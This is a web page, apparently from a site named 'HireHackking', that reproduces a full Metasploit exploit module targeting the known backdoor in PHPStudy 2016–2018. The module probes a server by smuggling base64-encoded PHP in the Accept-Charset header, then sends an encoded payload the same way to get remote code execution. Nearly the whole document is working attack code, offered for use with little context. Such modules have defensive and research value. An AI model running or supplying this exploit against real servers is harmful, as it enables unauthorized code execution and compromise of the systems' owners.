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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "PHPStudy Backdoor Remote Code execution",
      'Description'    => %q{
        This module can detect and exploit the backdoor of PHPStudy.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Dimensional',  #POC
          'Airevan'       #Metasploit Module
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['PHPStudy 2016-2018', {}]
        ],
      'References'    =>
        [
          ['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html']
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 20 2019",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path', '/'])
      ])
  end
  def check
    uri = target_uri.path
    fingerprint = Rex::Text.rand_text_alpha(8)
    res = send_request_cgi({
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(uri, 'index.php'),
      'headers' =>  {
        'Accept-Encoding' =>  'gzip,deflate',
        'Accept-Charset'  =>  Rex::Text.encode_base64("echo '#{fingerprint}';")
      }
    })

    if res && res.code == 200 && res.body.to_s.include?(fingerprint)
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end
  def exploit
    uri = target_uri.path
    print_good("Sending shellcode")
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => normalize_uri(uri, 'index.php'),
      'headers' => {
          'Accept-Encoding' => 'gzip,deflate',
          'Accept-Charset'  => Rex::Text.encode_base64(payload.encoded)
      }
  })
  end
end